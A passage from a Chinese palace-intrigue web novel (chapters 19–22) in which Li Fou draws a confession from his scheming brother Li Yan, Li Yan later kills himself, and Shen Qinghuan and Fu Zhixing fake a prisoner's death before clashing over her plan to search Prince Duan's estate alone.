李言话一脱口,当即就去探李否的神情,可李否却很坚定,“不可能,此事绝对无中生有,靖王府内做事的,无不是跟随靖王多年的,忠心程度非你我二人可以议论的。”
“兄长,我不知你信否,那官差所说之人,不是他人,正是靖王。”
李言再次试探,他没有充足的时间,做铺垫,苦肉计是他能想到的最佳的妙计,他能感受到兄长对他的在意,所以他选择赌一把。
虽说兄长是受傅之行的提拔,才有了今日,可血浓于水,倘若傅之行是暗害他的人,他不信兄长还能无动于衷。
果然如他所料,李否沉默了。
几次出言试图推翻此结论,可李言却不给他这个机会,更是一一举出证据,来强化这个“事实”。
“兄长,你我同母所生,我无缘由欺骗你,你可曾想过,为何你才将那画卷拿出,就有官兵上门捉拿我,他要的就是我手中的画卷,你我都被玩弄了!”
李言本就瘦,一激动,额间的青筋更是暴起,脸涨的通红。
李否上下打量了他一番,口中并未作答任何言语,直到李言呼唤他,他才从混沌中清醒过来。
“兄长,你怎么了?”
李言在他眼前挥了挥手,好似十分关心他一样,可嘴角的笑意是怎么掩盖都遮掩不住的,眼中没有痛楚,全是狡黠,和对他人的算计。
“没事,你先好好休息罢,容兄长好好想想。”替李言理好被单后,李否转身就出了房门,几乎是怀着难过与不甘的。
他不能理解,这一切是为何?
为何他的弟弟会变成如今这番——满口谎话,阴险狡诈的小人。
为何他要算计自己的亲生兄长?
19. 生亦何苦
三人围坐一团。
李否抢先一步开口,“王爷,王妃,是我对不住你们,引狼入室了,可我也未想到阿言他会...”
沈清欢正不紧不慢地描摹着画像,闻言,眉毛支起来。
将笔一甩,溅出的墨点子,洒向了那夫妇图,掉落在那傅恒的脸上。
“李否,王爷对你的恩情,你还没忘吧?”
“万万不敢忘却!”
这就好办了,沈清欢思忖片刻后,冲李否挥了挥手,将手中一沉甸甸的药包扔给他。
“虽说其目的不纯,但好歹是你手足,药还是该吃的。”
李否听得着真切,这靖王妃,表面看着文文静静的,可他总是对这女子,有股说不明的畏惧感,她的眼神太过于深沉,好似能将人瞧穿一般。
他在翰林院教书数年,从未在任何一位花季女子身上,瞧见这般老练的眸子,有着过于此年岁的城府。
接过那散着异香的药包,李否用眼神扫了扫这夫妻二人,这二人一个端坐在椅子上,手中持着一画扇,一坐在那梨花木桌前,品着茶。
悠闲自在。
就好像他刚刚所紧急来汇报的是一件无足轻重的鸡毛蒜皮小事。
罢了,李否不敢揣测其二人的心事,将那药包塞进怀里就告退了。
去后院小厨房里拆开药包,发现里头藏着的纸条后,李否终于知晓这二人何意。
找来了李嬷嬷,托其将这药包熬成汤后,李否端着滚烫的药碗,敲响了李言的房门。
屋内的李言,刚进入梦乡,被这么一打扰,怨气冲上脑门,“谁啊?”
“阿弟,是我。”
听到李否熟悉的嗓音,李言已然换了副神色,“兄长?快进来,快进来。”
“这是熬好的补药,阿弟,你经历了这么一遭,身子虚的很,要好好补补。”
李言看着手中那碗黑漆漆的药,有些迟疑,李否见状,又接着“莫要嫌药苦,喝了对你身子可大有益处,乖阿弟,听话,莫要让兄长担心。”
李言有些进退两难,按着他的心理,是不想碰这药的,他此次归来,这靖王同靖王妃会没有一丝疑心?这药出自何处?
他相信兄长不会害他性命,可若兄长被旁的有心人利用,那便不好说了。
见李言面露深沉,李否也识趣,知他是有所疑心,“药你先且喝着,兄长替你去寻些甜口的蜜饯过来,爽爽口。”
转身离开后,李否并未去厨房,而是又重新折返回来,躲在窗户下,借着光,往里看。果不其然——
在他走后不久,李言就将这碗里的药全数倒进桌上的花瓶里,不带一丝犹豫,动作干净利落。
李否脸上掠过一丝不易察觉的难堪,他在阿弟心中竟是如此不堪?
自嘲一声,李否心已凉透,自己耗费精力照料的人,现在同自己出于对立面不谈,对自己也是毫无信任,他这个兄长,做的未免太过于失败。
呼出一口浊气,李否下定决心,从袖口掏出一包蜜饯,脸上重新挂上了关切的笑容,“蜜饯来了,快尝尝。”
李言为不被兄长察觉异样,脸上写满了被药苦到的表情,见到蜜饯后,也是赶忙抓起一块就往嘴里放。
“甜吗?”
“兄长送的,自然是甜。”
李言口中还包着东西,说话也是囫囵不清。
李否自进门后,就鲜少露出笑意,嘴角也是向下撇着的,李言自小就在外流浪,对人的心情琢磨拿捏的一绝,见李否这副样子摆出,心里忍不住发麻。
“兄长可是有心事?”思量再三,李言还是没耐得住性子,开口询问道。
终于上钩了。
李否故意装作一副难以启齿的姿态,站起身,不停地在屋里踱着步,双手在脸上来回的摩擦,这一弄,让李言更是如临大敌。
莫非是被靖王发现了?告知兄长了?
那兄长前来,是为了确认还是?
李否借着余光看到李言的慌乱,第一步目的已经达到了,他一跺脚开始了第二步的表演,“阿弟啊,兄长知晓你这么多年来,一直不容易,我心中愧疚,打你入家后,样样物,我都是给你用最好的。
李言是越听越心惊,短短几分钟内,就往下咽了好几此唾液。
“再怎样,你也不能做如此大逆不道之事啊!”
“何...何事啊兄长?”
李言强行逼迫自己出声,几个字眼已用尽他全身力气。
“何事?阿弟,你当靖王同靖王妃是摆设吗?你那点小九九他们会不知?更何况,方才那端王府已派人来说了。”
“说什么?”
李言听到“端王府”三字,像被触发了神经,手掌直接紧握住李否的胳膊,眼神阴森森地盯着他看。
赌对了。
“说什么?李言,你口口声声说是靖王设计使你入狱,可为何端王府的小厮却说你并未如入狱?”
“兄长!我是当着你面被带走的,你宁可信旁人,却不信我?再说那小厮为何突地来靖王府中造谣,怕是那端王的计谋,兄长你万不可被蒙骗啊。”
“可那小厮是靖王的眼线,他亲眼在端王府中瞧见你,你又作何解释?”
完了。
李言顿时脑中一片空白,他找不出任何理由来为自己辩驳,只能痴痴地盯着床头发呆。
李否故意咳嗽了两声,屋外的两人一前一后地进来了。
正是沈清欢同傅之行二人,李言感到头皮有些发麻,扭头死死盯着李否看。
“你在套我话?”
李否偏过脸,不忍看,“是你太过于心急。”
李言无声地笑了下,他还是低估了兄长的忠心,原以为自个好歹是同他有着同父同母血缘关系的双生兄弟,与那非亲非故的靖王,兄长会更信任他些。
还是他高估了自个在兄长心中的分量。
“兄长,真是苦了你了,陪我演这一出戏。”李言讥讽道。
“是你心术不正,怪不得你兄长。”
沈清欢在一旁,淡淡回应。
李否将他与李言的对话全盘托出后,她就
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料想到,这李言定是投靠了傅恒。那日的官差,她也着人去调查过,确实是凭着圣旨捉拿要犯的。
可那要犯“李言”早已在狱中咬舌自尽,哪里还有个脱罪释放的说法。且不说按当朝律法,蒙冤之人是须由家属带领回家。
就说李言归家后,立马指认傅之行的做派,没有背后之人的指使,他敢吗?
画卷是他呈给李否的,待他们发觉暗信后,又是他主动约着见面的,有恰好在约好日期前,演了一出苦肉计。
真是好算计。
李言沉默不做声,他对沈清欢一向是怀着感激的,可也是畏惧的,他总觉得这女子有着超出寻常的淡然,聪颖。
“你可知你哪一步算错了吗?”
沈清欢悠悠开口,手中提着一包药包。
“不知。”
沈清欢抬手就将那药包摔到其跟前,手指着李否,一字一句地,“你错就错在,不该拿着你兄长对你无私的爱,当作布局的筹码,你以为是你聪慧吗,你以为你兄长毫无察觉吗?”
“他,堂堂翰林院教书先生,你以为你那点上不得台面的小心思能瞒的过他?”
李言也经被沈清欢这些说辞给震的愣在原地,眼里黑漆漆的,泛着泪光,不知是真情还是假意。
“你兄长,知晓你错入歧途,愣是一声不吭地跪在地上磕了三个大响头,就为了能让我们保你一命,你以为是你兄长对靖王衷心,在你同靖王间选了他,其实你兄长为你付出许多,只是你不曾看到罢了。”
李否有些听不下去,一双眼不停地向上望,手背不断地轻抚着眼睑。
沈清欢指着药包,“药你没喝,因为你怕你兄长给你下毒,是或不是?”
李言眼里掠过一丝难言之隐,口中呢喃着,却让人听不分明。
半晌后,才从牙缝中挤出几个字眼,“那工部尚书,确实是死了。”
一旁的三人,闻言皆将目光投向他。
李言弓着身子,声音逐渐带着哭腔,“他活该!谁让他不做人事!我一好好的男儿郎,入了他的府,就变成了个没根的太监,叫我如何不恨他!”
李言失声痛哭,宛如一孩童般,哭得惊天地泣鬼神。
李否听得有些腿软,踉跄地撞翻了身后的桌子,桌上的花瓶倒在地上,碎了一地。
李言胸腔不断上下起伏着,眼里渐渐露出凶狠,牙关紧咬,“我早就发现他同端王有染,这二人,经常背着人不知搞些什么鬼东西,但我不管,我只要他死!”
“那日,他不知做了什么,一身酒气地被端王府的侍卫送回家,身上还带着些伤,胸口处还有个孔,我听那侍卫叮嘱他近日要安排他离开,我就知道,留给我的时间不多了。”
“所以,你就趁着那晚,将他杀害了?”沈清欢理清了思绪。
“是。”
沈清欢心里头还有些佩服起这个李言来,他倒是个胆大的,那李尚书死了确实不可惜,省的留着祸害别人。
可他将这李尚书杀了,傅恒为何非但没泄愤,反倒是将其纳入麾下?
20. 死亦何哀
“吃饭了。”
李言不知自己是何时昏过去的,只记得再次醒来时,已到了先前住的小木屋中。
扭过头看了一下四周,还是他离家前的样子。
李否手里端着两碗鸡蛋面,上头还撒着点翠绿的葱花,搁在他面前,香气直扑进他的鼻腔里,想了想,他还是犹豫地开口,“靖王那边?”
李否当然知道他这个弟弟心中所想,咬了一口溏心的荷包蛋后,眼珠子冷冷地看了他一眼,“靖王妃心善,准了你一条小命。”
李言如释重负,心里头那颗石头也终是落了地,扒拉起面前的面,就往嘴里塞。
“但,京城你是留不得了,你身上背负着人命,且端王必不会轻易饶过你,如今,你若是想活命,只得离京。”
李言身子一僵,手中的筷子随之掉落。
“有不甘的话,也不必说了,试图嫁祸罪名给靖王,你如今还能坐在此地,已是不易。”
李否话说完,只留了个背影给他,也不等其发言,直接走出门,一决绝的模样,可只有他自己心里清楚,刚刚那番话,用尽了他多少力气。
容不得片刻耽误,李否很快就重新收拾好情绪,深深朝着老屋望了一眼。
“到时辰了,走吧。”
“去哪?”
李言有些莫名其妙,他总觉得兄长今日格外的冷漠,格外的急躁。
见李言迟迟不动身,李否直接将那木桌用力掀翻,东西叮呤哐啷的碎了一地,“快走,别废话!”
李言看傻了眼,痴愣愣地坐在轮椅上。
只觉身后一股冲劲,连人带轮椅就被推了出去。
没给他反应的时间,一个沉甸甸的包裹就被甩到腿上,随之而来的是李否清冽生疏的语气,“东西都给你收好了,接应你的人在桥口。”
“兄长?”
“走了,就别回了。”
言已至此,李否冷面相对,随后退身,关了大门。
“兄长,你,多保重。”李言含着热泪,虽不舍,却更不想让兄长为难,独自转着轮子,慢吞吞地赶路了。
门后的李否,也好不到哪去,他何曾不想让李言留下,可他不能。
这条生路,是他硬着头皮,豁出老脸,苦苦替他求来的,许是念着以往的情分,又许是心中不忍,沈清欢并未刁难他。
从前他总觉得这靖王妃,心思重,难以揣摩,可他在那一刻是看清了这女子眼底的怜悯的,那是一种经历过是是非非,显现出的同情,不忍。
李否瘫软在地上,脸上划过温热的泪滴。
靖王府内。
傅之行在榻上替沈清欢扇着风,“这次寻的艾草香可还合夫人心意?”
沈清欢打着盹儿,只听见耳畔传来傅之行清润的声音,但听不真切,口中就随意呜咽了两声。
傅之行眸底漾着未化开的柔,无奈地摇了摇头,指尖下意识的捋着她耳边的碎发。
半个时辰过后,沈清欢眼睫轻颤了下,缓缓抬眸,屋内还浮着浅浅的艾草香,清苦,微润。
起身寻了件薄衫穿上,又在外头套了件藕色长衫。
走到外院的小池塘边,果真在此处瞧见了傅之行。
走近,“又在烦恼些什么?眉毛都皱作一团,显得不好看了。”尾音刚落,就被其拥入怀中,手腕处被冠了一上好的羊脂玉手镯。
沈清欢又惊又喜,“怎突然赠我这个?”
傅之行挑了挑眉,似是无意状,“夫君赠娘子礼物还需理由吗?夫人喜欢就好。”
沈清欢自然是喜欢的,这腕间的羊脂玉镯凝如暖酥,莹白似雪,水头足,但也不浮艳,换做哪家女子,都是会爱不释手的。
他还真是会哄人开心的,沈清欢掩饰不住心中的笑意,嘴角怎么压都压不住。
“不过,还有一消息要告知与你。”傅之行声线骤然降下来几分。
“何事?”
“于景受命一直暗中护着李家兄弟二人,今日,李否按着约定,送李言出了家门,本一切理应顺畅,只是。”
沈清欢指尖攥紧了腕间玉镯,眉间轻蹙着,“只是什么?”
“李言刚入船舱,就被傅恒劫持住,兴许是不愿再受其掌控,李言,寻着刀尖就捅了上去,当场身亡。”
“这么决绝?李否知晓了吗?”
“变故太快,于景只能先将李言尸首带回领话。李否,尚且还不知晓。”
这下坏了。
沈清欢不敢想要是李否得知此消息后,该会怎样的痛不欲生,他求来的一线生机,就这样被傅恒生生掐断了。
“寻个好些的棺材安置吧,另外,应当跟李否道个信,于情于理,他毕竟是李言的亲生兄长。”
沈清欢回想起,李否埋着头,苦苦哀求的场景—
出于私心,她并不想管这档子事,犯错就得认,且李言都将算盘珠子打在傅之行身上,她不是圣人,岂能容忍?
可最终,她到底是心软了,或许是傅之行出面对于下属的一次特殊纵容,也或许是她想起了自己的母亲——
年少的沈清欢并不讨沈苏氏喜欢,她性子过于倔强,心气也高。
学不来沈薇薇那副谄媚的作态,不肯对老太太低眉顺眼。
直至母亲高烧不退那晚,她一改往日作态,去老太太房中苦苦哀求。
将此生所有的傲气劲儿,全都散了,脑门上磕出个血包来,老太太才让人寻了上好的汤药来。
也是自那天起,她的傲骨,全都随那晚的凉风,消失殆尽。
心气高,固然是好事,可落在太无能为力的年纪,却是能要了命的。
她望着一直清高的李否,那一直宛若清风明月,不沾染俗尘,眼里容不得一丝污垢的翰林院先生——
弯折着腰杆,只为给弟弟讨个活路。
她心软了。
圣人也会有私心,更何况凡夫俗子。
当日,沈清欢就拟好了计划,给了李否,算是她对此事最后一丝助力。
可李言竟然主动寻死?沈清欢心中五味杂陈。
“阿弟,我阿弟呢?李言!”
得了消息赶来的李否,跌跌撞撞地跑到了庭院中,长衫,发饰全是乱着的。
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>脸上分不清是何时的泪水,一条条泪痕就那样挂在脸颊两边。
傅之行先迈着步子,去搀扶着他,李言像看到了希望,握紧了傅之行的手臂,接连问着。
“王爷,您告诉我,这不是真的,这不是真的,对不对?”
于景也有些看不下去,委婉出声,“阿否,节哀,莫要扰了阿言亡灵清净。”
“什么节哀?节哪门子的哀?我阿弟好着呢,王妃的计划天衣无缝,阿言现在早已到了姑苏城中了,王妃,您说对吧?”
李否将目光投向沈清欢,试图在其眼中窥见什么希望般,可他瞧见的只有悯惜,一下子气急攻心,就往后倒去。
不是身边的傅之行,于景,及时搀扶住,李否怕是要直接跌落塘中去,傅之行扭头唤来了两小厮。
这二人,一左一右地架着李否的胳膊,半扶半搀地将他挪到棺前。
李否身子晃了晃,几乎就要栽倒下去,目光落到棺中,躺着的正时他的亲生弟弟——
李言。
那人眉目尚清,却再无半点生气,李否喉间猛地发紧,话堵在心中,憋闷着,额间的青筋暴起,双手攥着棺材的边沿,泪水啪嗒啪嗒地砸在棺木上。
沈清欢见不得这场面,眉间掠过不忍,哀哀叹了口气后,就退出来。
傅之行随之也一并走到拐角处,“怎么了?”
沈清欢深深吸了口气,详装无事,“只是见不得这等叫人心碎的画面罢了。”
可只有她心中明白,是因为这画面,让她看见了曾经的自己,那个还不强大,年少丧母的自己。
倘若她当年能够再早一些去唤大夫,母亲是否就能够避免那场灾祸?
可她往日里,从未有过时间上的耽搁,为何偏偏那日,熬药时打起了盹儿?
前世,记忆割段前,那沈薇薇在雪中,口中说的,母亲死的冤屈又是什么?
沈清欢背靠着墙,双手捏紧了衣角。
“小满?”
傅之行有些疑惑,总觉得今日的沈清欢隐隐有些不对劲,连唤了她好些声,都未曾听见。
还是他握住其掌心,才得到了注视,“有心事?”
沈清欢突地就掩不住悲切,冲进傅之行怀中,痛痛快快哭了一场,将傅之行的衣衫浸满了水渍。
好一会后,沈清欢渐渐稳住心绪,抹了一把脸,瞧着被自己哭花的衣裳,有些不好意思,“要不,你去换套衣裳?”
“无碍,夫人不必内疚,倒是夫人,一副心事重重的,到底是为何?”
傅之行并不在意这些细枝末节,对于他来说,沈清欢高于一切,莫不是说仅仅是件衣裳了,为了夫人,就算是要他赴汤蹈火,他也愿去试一试。
沈清欢想了想,还是没将心底的疑惑说出,重活一世,放在当下,太过于荒唐,便随口扯着。
“李言寻死大抵上,是为了护下李否,不愿让其为难,相府虽大,可要论兄弟姊妹情,定是没有的,母亲去的早,膝下就留了我一个,难免会为这等真情所触动。”
“但,你有我,小满,无论何处境,我都会护你。”
21. 死而复生
李言的葬礼办的很草率。
傅之行差风水先生寻了块地,距离李家也不过几里路的距离,下葬时,地里的黄土松松堆着半垅,连张素幡也没拉,只有烧剩的纸灰,随风飘着。
李否脸上,看不出是哭还是笑,就那么蹲在土边,背榻得厉害。
参加葬礼的人不多,王二婶子算一个。
她望着李否的背影,心里头七上八下的,生怕自家那人同李言一个下场,一把扯过李嬷嬷的袖口,贴在她耳边,“这李大人的弟弟不是刚被无罪释放吗,怎就突然暴毙了?”
李嬷嬷也不懂事情全貌,只一味地让王二婶子放宽心。
众人纷纷散开后,场上只留下李否一人。
傅之行坐在马车上,撩起帘子,心里也不是滋味,“李言死了,傅恒那边传信的人就没了,为了不连累他兄长,李言对自己是真狠。”
“谁说不是呢,原以为他是个胆小怕事的,想不到,竟是个胆子如此大的,倒是我小瞧了他。”
外头的槐絮在风中荡着,道旁的新荷叠着嫩叶,残败中又漾着新绿。
像是为了兄友弟恭的这对情谊吊梢。
马车很快就到了监牢——关押王二麻子的地方。
二人简易换了还身装扮,拿着事先办好的通行证件,狱卒引着身着玄衣的傅之行于素色衣裙的沈清欢悄摸拐进最深的囚室。
囚中的王二麻子衣衫褴褛,腕间的枷痕深紫,见有人来,顿时圈起身子,往角落里钻了钻。
“王二麻子,有人看你来了。”
狱卒朝里头吆喝了一声,王二麻子这才意识到并非是要给他上刑,也就揣着手惴惴不安地往狱门前移着。
狱中光线并不明朗,还带着点潮气,王二麻子许是被折磨地怕了,眼中全是畏惧的怕,又受了光的影响,愣是没看清门前的二人是谁。
还是傅之行先行开口,“王二麻子,你可认得我?”
这一嗓子直接将王二麻子的精气神给提溜了上来,眼里的浊气也渐渐消散开,一双血痕累累的手,抓着门杆,嘴里不停地,“靖王爷,求您救救我罢,我当真是冤枉的。”
沈清欢怕被有心之人起疑心,借着傅之行的身量,侧过身子,对着那王二麻子,狠狠咳了一身,引起王二麻子注意后,手迅速地从袖口中掏出一白色纸袋,塞进其手心。
“若有冤情,自会还你清白,若当真有罪,你也不会逃过律法责罚。王二麻子,求人不如求己,自己好好掂量吧。”
傅之行的身影将沈清欢挡了个彻彻底底,余光瞥见有人过来,及时出声,朝着那王二麻子说教道。
狱卒很快就打着灯,上前提醒,“时候到了,王爷请回吧。”
沈清欢早已恢复如常,手臂紧紧挽着傅之行,听闻后,对着那狱卒笑着点了点头,“有劳了。”
狱中很快再次恢复寂静。
不分明的光下,王二麻子背着身,将手心攥着的纸袋打开,瞧清上头的字后,愣了愣神,犹豫了片刻,最终一股脑儿将那纸袋连同的粉状物一并吞咽下肚。
当晚狱中,前来送饭的小狱卒事先察觉不对。
隔着门杆敲了半晌都没动静,走近一瞧,王二麻子脸色发灰,一副早已死透了的样貌。
一波未平,一波又起。
王二麻子暴毙狱中,让那老翁的死彻底成了个未解之谜。牢头心中有疑虑,寻了个仵作,一路引着他往死囚。
青砖甬道里霉味混着血腥味,火烛光影影绰绰,到了王二麻子身边,仵作蹲下身,摆弄着携带的验尸箱,净手后,带上薄绢手套,翻检着。
那牢头立在牢门外,眉毛拧成疙瘩,嘴里一直嘟囔着,“怎偏偏这时候死了。还没定案,死在了我这地界,上头要是追责下来,谁都担待不起,劳烦仵作仔细勘验,务必给个准确的死因。”
仵作颔首,指尖探过死者勃颈,心口,又掰开,看了看舌苔,掀开衣物,按了按其肌肤。
片刻后起身,对着牢头说,“大人,是疫症!”
“疫症?”
牢头连往后退了几步,手捂住了口鼻。
“千真万确,你瞧他眼部结膜瘀赤,唇舌紫胀,肌肤摸着手感燥硬,这是烈性时疫的征兆。按照这个发病点,想必他入狱前就染上了,恰好此时入狱,死在了狱中。”
牢头听得脸色煞白,嘴里也打着磕巴,“那,那该如何是好?可有传染他人的风险?”
“这尸身留不得了,得立刻抬去我验尸房,架火焚化干净,连带着他碰过得草堆,囚服,全烧了,半点残屑都不能留!迟了恐要在牢里传开,届时后患无穷。”
那牢头愈听心头愈凉,恨不得将这王二麻子千刀万剐,转头就冲外头的狱卒们喊道,“快准备石灰水,艾草水,把这牢房还有周遭反反复复擦洗干净,快!”
牢里顿时一片混论,仵作同身旁带着的小个子徒弟,趁机将那王二麻子尸首向外抬去。
城外,验尸房中,数人站立于屋中。
王二婶子扯着嗓子哭着,“怎的还不醒?你个老东西,净叫我为你忧心。”
王和冷着脸,替那“尸首”喂着汤药,见这王二婶子哭得厉害,也只是淡淡开口,“他定会醒来的,不必揪心。”
一碗汤药很快就见了底,这时,那王二麻子如同“诈尸”般,全身打着哆嗦,口中溢出白色唾液,一双眼,突地就睁了开来。
王二麻子“死而复生”了。
在场众人皆松了口气,尤其是那王二婶子,脸上方才的泪还未擦干,一个激动,喜极而泣,抱着那王二麻子是又哭又笑。
缓了缓神后,王二麻子的胳膊架在那婶子身上,满是青紫瘀斑的脸上堆砌着笑,膝头微屈,对着傅之行同沈清欢二人福身,声音还带着点劫后余生的颤意,“多谢王爷,多谢王妃,若非二位恩典,小人此次怕是性命难保,这份恩情,小人没齿难忘!”
傅之行神色淡而无波,只抬手虚扶了下,声线低缓,“无妨,举手
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之劳罢了。”
沈清欢唇角噙着笑,轻语道,“要说谢,不如谢你夫人罢,这些日日夜夜,她不知为你费了多少心神,为你祈福。”
王二麻子闻言扭过头望着自家的妇人,眼里有着说不清的动容。
一番折腾后,王二麻子暂且被安置在郊外的草屋里,这是他与王二婶子年轻时起家的地方,虽不大,但却充满温情,眼下,事情尚未彻底解决,此地是最佳的安身之所。
告别这二人后,仵作掀开脸上的□□,对着傅之行同沈清欢行礼,“王爷,王妃。”
“在狱中可有其他发现?”傅之行对着于景问道。
“那狱中有着一股不同寻常的血腥气,我在同王二麻子收尸时,略微趁乱探了探,监狱里头的屋子较其他潮湿许多,那青砖上有着淡淡的一层青苔,稍动下还会隐隐作响。”
沈清欢心中有了个大胆的猜想,朝着后方的王和看了一眼,王和当即心领神会,照着于景所说的地,拿着手中罗盘比对上。
他掌心托定罗盘,指腹轻按铜盘边缘,稳着盘面,垂眸凝睇天地池内磁针摆动。
“搪针飘忽,地脉中空。此下必有暗渠地道,就在这磁针所指方位。”
沈清欢抬眼,神思游转,这不是端王府的后院吗?
她心中大动,忙出声确认,“当真无错?”
“从未有过差池。”
王和的话,如同定海神针,将沈清欢的疑虑全数消散殆尽,也是了,按着猜想,近日的桩桩件件是同傅恒脱不了关系的。
但其竟如此嚣张?竟在后院修葺了一条通往狱牢的地道?意欲何为?
又是何人与他勾结?
若要发掘其中秘事,唯有两法子,一是从端王府下手,从端王府中进入密道,二是进入狱劳,揭开那密道的隐秘之事。
可放在当下,二者无一可当即实行。
“今日有劳先生了,此间事暂搁歇,先生且先回府歇息,后续若需相助,府中会派人通传。”
“王妃吩咐,在下定是义不容辞,后续若需探查,派人传信即可,在下定随叫随到。”
沈清欢派人将王和送离回府,只留她与傅之行二人,她深深叹了口气,回首看向身侧,“先生已断定端王府与此事脱不了干系,可眼下又无好法子,真是叫人闹心。”
傅之行也有些沉闷,茶色的眸子里也带了几分愁,“端王府守卫森严,监牢更是难以深入,且二者牵扯不清,不宜轻举妄动。”
“我也知此事凶险,只是若不尽快查探清楚,我怕夜长梦多。”
傅之行抬眼扫了沈清欢一眼,“夫人想如何?”
沈清欢察觉出傅之行的不对劲,心里暗暗打着鼓,思索了片刻,还是试探着问,“若我独自前去探访呢?”
说完后,沈清欢就后悔了,因为她话音还未落地,就被傅之行一股力揽进怀里,用力之大,拥得她快喘不过气来。
耳边传来的事傅之行咬牙切齿的声音。
22. 王妃失踪 “汝竟要亲自赴险地?”
“汝竟要亲自赴险地?”
沈清欢瞳孔里映着傅之行清冷的身影,被这一冲吓,她倒有些不确信了,这傅之行反响如此大,倒让她有些胆寒。
试探地问,“可眼下迫在眉睫,莫非,你有更好的法子?”
“纵无他法,你也断不能去。”
“为何?总得有个合理的由头吧?”
“傅恒是何人?你前去,不是自投罗网?沈清欢,你难道不知他对你别有心思?”
傅之行的语气有股不由分说的决绝,眼神好像能将她看透般,沈清欢略带心虚地垂下头,抿了抿唇。
“别打其他心思,小满,我太了解你,但这次,你必须得听我的。”傅之行留下话,转身拂袖离开。
瞧着傅之行的背影,沈清欢心内焦灼,左右观望了一番,门口不知何时被安排加了两身束戎装的侍卫,扭头唤了好几声百合,也无人应答。
这次动真格了?
沈清欢略带颓废地坐在石凳上,有一搭没一搭的翻弄面前的古籍——这是傅之行怕她无聊特地差人送来的。
沈清欢哪还有心思陶养情性,把这面前的书翻得哗哗作响。
她原计划的好好的,端王府她不知去过多少回了,可谓是门儿清极了,去寻个暗道还不容易?手到擒来的事。
可万事俱备,只欠东风,傅之行这一出,直接浇灭了她的所有谋划,她能不气?
傅恒对她有意思是不假,可她又没那方面的心思,还能强扭不成?
这傅之行搞哪一出,吃醋也不分个场合。
沈清欢越想心中火气越大,一股怒意涌入心头,直冲天灵盖,将手中那厚厚一沓子珍贵古籍全数扔进了那院中的池塘中央。
“砰——”
又一个反手摔门,震得整座院中都在为之响动。
“王妃看似心情不佳啊。”
“可不是,也不知这俩人闹什么别扭了,方才你可瞧见王爷那张脸,黑得跟包公似的,王妃入府这么久,还是头次见王爷如此动怒。”
“不懂,咱俩还是少管闲事,安安心心守好门,别让王妃溜出去,我一想起王爷交待事宜时,那冷冰冰的脸,心里就直打哆嗦。”
门外看守的俩侍卫,被沈清欢的“霸气”惊了一跳,见其进屋,便贴着墙角,互相凑近偷摸说着小话。
二人的小吵,一时间惊得传遍了整个靖王府,就连膳食坊里的李嬷嬷也闻言上前院来打听。
膳食坊内锅中还炖煮着上好的燕窝枣泥,是得了傅之行特许的,在萧山的贩子手上高价批回府的。
偶然听着那些小侍女口中传的些小道消息,李嬷嬷的心也提到了嗓子眼。
她是靖王府的老人了,自打傅之行年少时就在他身边做着管事嬷嬷,后得太妃亲允,提拔着又当了膳食坊的管事。
外人只当她是个做吃食的嬷嬷,可内里的含金量,是不由分说的。
当朝皇子各个寄养在深宫时,因各嫔妃间的尔虞我诈,导致各皇子间也没得兄弟情——
就说那近的,永康二十年,五皇子的生母,烑妃不知受了何人指使,又或是自个鬼迷心窍,竟趁着前太子受太傅教学时,一瓶鹤顶红掺进了吃食中。
无防备的太子,一口下肚,当晚就七窍流血,不治而亡。
皇宫大殿内气氛沉重,龙颜大怒,高位上的皇帝,本就膝下子嗣稀少,拔出个太子本就是费尽心血,偏偏出了这档子事,无疑是挑战龙威。
置宫规何在?置皇家脸面何在?
后续,经刑部彻查,水落石出后,烑妃为保下五皇子,在宗人府咬舌自尽。
自此,各皇子身边皆备了自个管膳食的嬷嬷,凡经口之物,都需经嬷嬷的手,另还备有验毒的公公。
李嬷嬷便是由太妃亲自掌眼提拔的。
一是其为傅之行生母的陪嫁丫鬟,为家生仆,其生母去后,便随着照料傅之行的起居,二是李嬷嬷虽为女儿家,但精通各项医书,懂得各个食材间的滋阴补阳,相生相克之用。
太妃怜悯傅之行幼时便丧母,众多皇子中也独独对他有着不一样的慈爱,兴许是望着他的眉眼,想起先帝罢,又或许,是他年幼时便异于常人的懂事罢。
她还记得,三岁时的傅之行,被御花园中的野蜂蛰了个大包,半边脸都肿了,可还是壮着胆子,手臂一伸,挡在她身前,“祖母莫怕,孙儿保护您。”
皇帝并非她亲生,中间到底是隔了一层,深宫多年,年幼的傅之行的出现,多多少少是抚慰了她冰封多年的心的。
怎能叫她不怜爱?
因而对傅之行的起居,她也是格外上心,李嬷嬷无疑是她心中的不二人选。
李嬷嬷也并未辜负太妃的信任,既身在其位,必行其事,多年来,将这靖王府打理的是井井有条。
除却她本身的膳食坊的责任外,府中大大小小的琐事,她也是管着的。
府内的王总管见着她也要给几分薄面,这娘胎里跟着的嬷嬷,分量自然不用多说。
今儿个,李嬷嬷听着外头传的流言,怎能不着急,步子迈得飞快,耳畔似乎还回想着那些小姑娘的碎碎念。
她步子迈的很大,心里忐忑不安,眉头紧紧皱成一团,先是走到书房门口,本想着进去旁敲侧击打听一下消息。
可她刚刚走到那院门边上,于景就早早等在那儿,瞧着她微微点了下头。
李嬷嬷心里一扑动,于景是傅之行的贴身侍卫,他在这儿等着她,多半也是傅之行的意思,既预料到她会来此地寻他,那丫鬟们讨论的事,怕也是真的了。
李嬷嬷一想到这里,心里就憋闷得慌,可到底是不死心,镇了镇心神,她堆着笑,热络地同于景打着招呼。
“于大爷,外头风凉,怎在这拐角吹冷风啊?”
于景上下打量着李嬷嬷,嘴角掩着笑,客气地回着话,“这不是王爷吩咐我在这儿等您吗?”
“等我?等我作甚?王爷有何吩咐直接让葵花送膳时顺道带着去就好,何必特地等着我?”
“李嬷嬷,具体的,还是由王爷亲自同您说罢,请罢。”
话已至此,若是刚才来的路上,一切只是三分揣测,这一番话说下来,李嬷
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嬷是有了七八分确定。
默默叹了一口气,李嬷嬷眼角都是耷拉着的,就这样怀着一丝期盼敲响了门。
“王爷,是老奴。”
门很快被打开,昏暗的书房内唯有一盏烛灯亮着光,傅之行脸上布满了疲惫。
见来人后,强撑着笑,“嬷嬷来了。”
李嬷嬷就这挪着步子,拖沓地进了屋,瞄了眼屋中摆设,梨花桌上摆放的是早已凉透了的银耳薏米粥,上头结了一层薄薄的米浆。
其余的空地,皆放置着各种书籍,李嬷嬷约莫着瞄了一眼,似是兵家书籍,心里头百感交集。
眼瞧着一玉面玲珑的俊俏儿郎,如今午膳也不吃,将自个闷在屋里,一副愁容。
李嬷嬷看在眼里,疼在心里,终究是犹豫着开了口,“王爷,可是遇到难事了?”
傅之行定定地半躺在椅上,闻言,闭着的眸慢慢睁开,眼里逐渐有了光彩,“嬷嬷,您是个聪明人,想必也知晓了我同小满的事罢。”
